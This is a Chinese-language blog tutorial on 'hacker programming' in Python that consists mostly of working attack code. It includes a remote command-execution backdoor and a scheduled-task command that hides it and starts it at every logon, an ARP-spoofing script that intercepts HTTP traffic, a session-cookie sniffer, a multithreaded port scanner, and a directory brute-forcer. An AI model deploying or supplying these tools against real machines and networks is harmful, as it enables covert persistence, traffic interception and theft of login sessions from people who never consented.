python黑客编程(1)

文章目录

    • socket网络编程
    • upload
      • bytes与 str之间的转换
      • sys库
      • getopt
      • 主要代码
    • 端口扫描
    • 反弹shell
      • 基础知识
      • subprocess
      • 主要代码
    • ARP欺骗
      • scapy
      • 主要代码
    • Cookie嗅探
    • 目录爆破

socket网络编程

客户端, 发送数据到127.0.0.1:4444

# Socket网络编程
# 编写TCP客户端 ,服务端
import socket

def main(target, port):
	# 1. 创建socket套接字
	client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	# 2. 建立TCP连接
	client.connect((target, port))
	# 3. 接收,发送数据
	client.send(b"[client]hello server")
	response = client.recv(1024)
	print(response)
	client.close()

if __name__ == '__main__':
    target = "127.0.0.1"
    port = 4444
    main(target,port)

服务端,在0.0.0.0:4444监听

upload

客户端向服务端发送文件数据

bytes与 str之间的转换


test = "hello world"
print(type(test)) #
byte = test.encode('utf-8')
print(type(byte)) #
string = byte.decode()
print(type(string)) #

sys库

import sys

print(sys.argv)
目录 参数1 参数2
如 python test.py  aa bb cc
输出 ['C:/Users/Administrator/test.py','aa','bb','cc']
上面输出的是数组

getopt

import getopt

opts,args = getopt.getopt(sys.argv[1:], "a:b:c:")
print(opts)
for i,j in opts:
	print(i,j)

# py test.py -a 1 -b 2 -c xx
# [('-a', '1'), ('-b', '2'), ('-c', 'xx')]
# -a 1
# -b 2
# -c xx

主要代码

# 1. 创建socket 套接字
# 2. 绑定IP和端口
# 3. 进行监听
# 4.接收,发送数据

import socket

def main(target,port):
	server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	server.bind((target,port))
	server.listen(10)
	print("[*] Listening on %s:%d "%(target,port))
	
	while True:
		client, addr = server.accept()
		
		print("[*] Accept from %s:%d"%(target,port))
		response = client.recv(1024)
		print(response)
		client.send(b"[*][server] sussessful to connection...")
		client.close()
	
		
if __name__ == '__main__':
    target = '0.0.0.0'
    port = 4444
    main(target,port)
import sys
import getopt
import socket
import time

upfile = ""

def main():
	global upfile
	help = False
	listen =False
	target = ""
	port = 0
	# 获取命令行参数
	opts, args = getopt.getopt(sys.argv[1:], "t:p:u:hl")
	for o, a in opts:
		if o == '-t':
			target = a
		elif o== "-p":
			port = int(a)
		elif o == "-u":
			upfile = a
		elif o == "-h":
			help = True
		elif o == "-l":
			listen = True
		else:
			assert False,"Error!"
	
	if help:
		useinfo()
	# 区分客户端,服务端
	if not listen:
		client_handle(target, port)
	else:
		server_handle(port)

# 客户端函数
def client_handle(target,port):
	client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	client.connect((target,port))
	client.send(upfile.encode('utf-8'))
	time.sleep(1) #延迟一秒
	upload_file(client)
	client.close()

# 文件上传函数
def upload_file(client):
	f = open(upfile,"rb")
	data = f.read()
	f.close()
	client.send(data)


# 服务端函数
def server_handle(port):
	server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	server.bind(('0.0.0.0', port))
	server.listen(10)
	print("[*] Listening on 0.0.0.0:%d" %port)
	while True:
		client_socket,addr=server.accept()
		download_file(client_socket)
		client_socket.close()
		
# 文件下载函数
def download_file(client_socket):
	filename = client_socket.recv(1024)
	filename=filename.decode()
	print("[*] Receive file :%s" % filename)
	file_buffer = "".encode('utf-8')
	while True:
		data = client_socket.recv(1024)
		if not data:
			break
		else:
			file_buffer += data
		f =open(filename,'wb')
		f.write(file_buffer)
		f.close()
	
#定义banner函数
def useinfo():
	print(
		"useinfo info:\n",
		"------------------------------------\n",
		"use in python3.8\n",
		"helpinfo: python upload.py -h\n",
		"client: python upload.py -t [target] -p [port] -u [uploadfilepath]\n",
		"server: python upload.py -lp [port]\n",
		"------------------------------------"
	)
	sys.exit()

if __name__ == '__main__':
    main()

端口扫描

## TCP 端口扫描
# 1. 定义portScan 函数,用来进行TCP端口扫描
# 2. 启动多线程运行扫描函数

import socket
from threading import Thread
import time

def main(target,ports):
	print("开始扫描: %s" %target)
	for port in range(1,int(ports)):
		t = Thread(target=portscan,args=(target,port))
		t.start()

def portscan(target,port):
	try:
		client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		client.connect((target, port))
		print("[*] %s:%d 开放" % (target, port))
		client.close()
	except:
		pass

if __name__ =="__main__":
	target = input("请输入IP: ")
	ports = input("请输入端口(1-?) : ")
	print(ports)
	start = time.time()
	main(target,ports)
	end = time.time()
	print("耗时 %.5f秒"%(end-start))

反弹shell

基础知识

1. 利用schtasks创建计划任务
具体可参考 https://www.cnblogs.com/lostyue/archive/2011/10/24/2223166.html
schtasks /create /tn "backdoor" /tr "command" /sc onlogon
/tn TaskName    指定任务的名称
/tr TaskRun     指定任务运行的程序或命令
/sc schedule    指定计划类型
	ONLOGON 每当用户(任意用户)登录的时候,任务就运行
2. powershell 隐藏执行的终端
powershell -windowstyle hidden -command '_xxx_'
最终可合成: 如下
schtasks /create /tn "backdoor" /tr "powershell -windowstyle hidden -command 'python backdoor.py -lp 1234" /sc onlogon


1. useinfo函数
2. 利用getopt模块获得参数
3. 区分客户端和服务端
4. 定义客户端代码
5. 定义服务端代码
6. 定义命令执行函数

subprocess

import subprocess

def run_command():
	while True:
		try:
			command = input("shell_>")
			out = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
			print(out.decode('gbk'))
		except:
			print("SB command")
		
run_command()

主要代码

import socket
import getopt
import sys
import subprocess
from threading import Thread

def useinfo():
	print(
		"useinfo info:\n",
		"------------------------------------\n",
		"use in python3.8\n",
		"helpinfo: python backdoor.py -h\n",
		"client: python backdoor.py -t [target] -p [port] \n",
		"server: python backdoor.py -lp [port]\n",
		"------------------------------------"
	)
	sys.exit()
	
	
def main():
	target = ""
	port = 0
	listen = False
	help = False
	opts, args = getopt.getopt(sys.argv[1:],"t:p:hl")
	for o,a in opts:
		if o == '-t':
			target = a
		elif o == '-p':
			port = int(a)
		elif o == '-l':
			listen = True
		elif o =='-h':
			help = True
		else:
			assert False,"Error! "
	if help:
		useinfo()
	elif not listen:
		client_handle(target,port)
	else:
		server_handle(port)

	
def client_handle(target,port):
	client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	client.connect((target,port))
	
	while True:
		recv_len = 1
		response = "".encode('utf-8')
		while recv_len:
			data = client.recv(4096)
			recv_len = len(data)
			response += data
			if recv_len < 4096:
				break
		print(response.decode('gbk'),end="")
		
		buffer = input("")
		buffer += '\n'
		client.send(buffer.encode('utf-8'))

def server_handle(port):
	server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	server.bind(('0.0.0.0',port))
	server.listen(10)
	print("[*]server: Linstening on 0.0.0.0:%d" %port)
	while True:
		client_socket, addr = server.accept()
		print("[*] Accept connection from %s:%d" %(addr[0],addr[1]))
		t = Thread(target=run_command,args=(client_socket,))# 这里必须有个逗号
		t.start()

def run_command(client_socket):
	while True:
		client_socket.send(b"shell_>")
		cmd_buffer = "".encode('utf-8')
		while b"\n" not in cmd_buffer:
			cmd_buffer += client_socket.recv(1024)
		cmd_buffer = cmd_buffer.decode()
		try:
			out = subprocess.check_output(cmd_buffer, stderr=subprocess.STDOUT, shell=True)
			client_socket.send(out)
		except:
			client_socket.send(b"Failed to execute command\r\n")
			
if __name__ == '__main__':
    main()

ARP欺骗

scapy

from scapy.all import *

def packet_callback(packet):
	print(packet.show())

# filter 指定过滤器
# iface用于设置网卡 这里未指定,默认抓取全部
# prn用于调用回调函数(处理抓到数据的函数)
# count 指定嗅探数据包的个数
# store 指定不再内存当中保留原始数据包

sniff(filter="",prn=packet_callback,count=1,store=0)
# 发送ARP数据包

from scapy.all import *

response, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.101"),timeout=1,verbose=0)
target_mac = 0
for s,r in response:
	print(r[ARP].hwsrc)
	target_mac = r[ARP].hwsrc

target = ARP()
target.op = 2
target.psrc = '192.168.1.1'
target.pdst = '192.168.1.101'
target.hwdst = target_mac
print(target.show())
send(target)

主要代码


# 嗅探数据包
# 恢复靶机ARP缓存

from scapy.all import *
import time
from threading import Thread

def main(target_ip,gateway_ip):
	# 获取MAC
	target_mac = get_mac(target_ip)
	gateway_mac = get_mac(gateway_ip)
	
	# 启动ARP欺骗
	t = Thread(target=start,args=(target_ip,target_mac,gateway_ip,gateway_mac))
	t .setDaemon(True)
	t.start()
	# 嗅探数据包
	sniff(filter='tcp port 80',prn=HttpCallback,store=0)
	
	# 停止攻击
	Stop(target_ip,target_mac,gateway_ip,gateway_mac)
	
def HttpCallback(packet):
	if packet[TCP].payload:
		cookie_packet = bytes(packet[TCP].payload)
		for info in cookie_packet.split(b'\n'):
			print(info)
	
	
def Stop(target_ip,target_mac,gateway_ip,gateway_mac):
	print('[*] Attack Stop!...')
	send(ARP(op=2,psrc=gateway_ip,hwsrc=gateway_mac,pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff"),count=5)
	send(ARP(op=2, psrc=target_ip, hwsrc=target_mac, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff"),count=5)
	
	
def start(target_ip,target_mac,gateway_ip,gateway_mac):
	# 欺骗靶机
	target = ARP()
	target.op = 2
	target.psrc = gateway_ip
	target.pdst = target_ip
	target.hwdst = target_mac
	# 欺骗网关
	gateway = ARP()
	gateway.op = 2
	gateway.psrc = target_ip
	gateway.pdst = gateway_ip
	gateway.hwdst = gateway_mac
	
	print('[*] Attack Start!...')
	while True:
		send(target)
		send(gateway)
		time.sleep(2)

	
	
def get_mac(ip):
	response, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip), timeout=1, verbose=0)
	target_mac = 0
	for s, r in response:
		target_mac = r[ARP].hwsrc


if __name__ == '__main__':
	# 从命令行获取要欺骗的IP
    target_ip = input("Target IP: ")
    gateway_ip = input("Gateway IP: ")
    main(target_ip,gateway_ip)

Cookie嗅探

from scapy.all import *


def packet_callback(packet):
	if packet[TCP].payload:
		cookie_packet = bytes(packet[TCP].payload)
		if b"cookie" in cookie_packet:
			#print(cookie_packet)
			for info in cookie_packet.split(b'\n'):
				#print(info)
				if b'GET /' in info or b'Referer' in info:
					print(info)
				elif b'Cookie' in info:
					print(info,'\n')
					

if __name__ == '__main__':
    sniff(filter="tcp port 80",prn=packet_callback,store=0)

目录爆破

# 1. 输入目标url和线程大小
# 2. 以队列的形式获取要爆破的路径
# 3. 定义路径获取函数get_path()
# 4. 利用多线程进行url目录爆破
# 5. 定义目录爆破函数get_url()

import urllib3
import queue
import threading
import sys
import time

def main(url, threadNum):
    # 2. 以队列的形式获取要爆破的路径
    path_queue = get_path(url)

    # 4. 利用多线程进行url目录爆破
    threads = []
    for i in range(threadNum):
        t = threading.Thread(target=get_url, args=(path_queue, ))
        threads.append(t)
        t.start()
    for t in threads:
        t.join()


# 5. 定义目录爆破函数get_url()
def get_url(path_queue):
    while not path_queue.empty():
        try:
            url = path_queue.get()
            http = urllib3.PoolManager()
            response = http.request('GET', url)
            if response.status == 200:
                print("[%d] = > %s" % (response.status, url))
        except:
            pass
    else:
        sys.exit()


# 3. 定义路径获取函数get_path()
def get_path(url, file="/root/Desktop/PHP.txt"):
    path_queue = queue.Queue()
    f = open(file, "r", encoding="gbk")
    for i in f.readlines():
        path = url + i.strip()
        path_queue.put(path)
    f.close()
    return path_queue


if __name__ == "__main__":

    start = time.time()
    # 1. 输入目标url和线程大小
    url = input("please input url: ")
    threadNum = int(input("please input threads:"))
    main(url, threadNum)
    end = time.time()
    print("总共耗时 %.2f" % (end-start))

你可能感兴趣的:(python,#,黑客编程)